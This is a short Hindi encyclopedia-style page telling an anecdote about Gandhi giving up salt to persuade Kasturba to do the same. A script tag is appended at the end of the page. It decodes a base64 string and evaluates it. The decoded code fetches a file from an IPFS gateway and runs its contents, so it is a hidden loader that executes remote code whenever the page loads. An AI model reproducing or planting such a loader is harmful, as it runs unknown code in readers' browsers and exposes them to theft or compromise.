स्वयं प्रेरक-कस्तूरबा गाँधी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

कस्तूरबा गाँधी बीमार रहती थीं। एक दिन गाँधी जी ने उन्हें सलाह दी कि तुम नमक खाना छोड़ दो, तो अच्छी हो जाओगी।

कस्तूरबा ने कहा- नमक के बिना भोजन कैसे किया जाएगा।

गाँधी जी बोले- नमक छोड़कर देखो तो सही।

कस्तूरबा ने प्रतिवाद करते हुए कहा - पहले आप ही छोड़कर देखिए न?

गाँधी जी ने संकल्प करते हुए कहा- बस अभी से छोड़ दिया।

उसी दिन से गाँधी जी ने नमक का प्रयोग करना छोड़ दिया।

गाँधी जी अपनी बात के स्वयं प्रेरक बन गए।

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>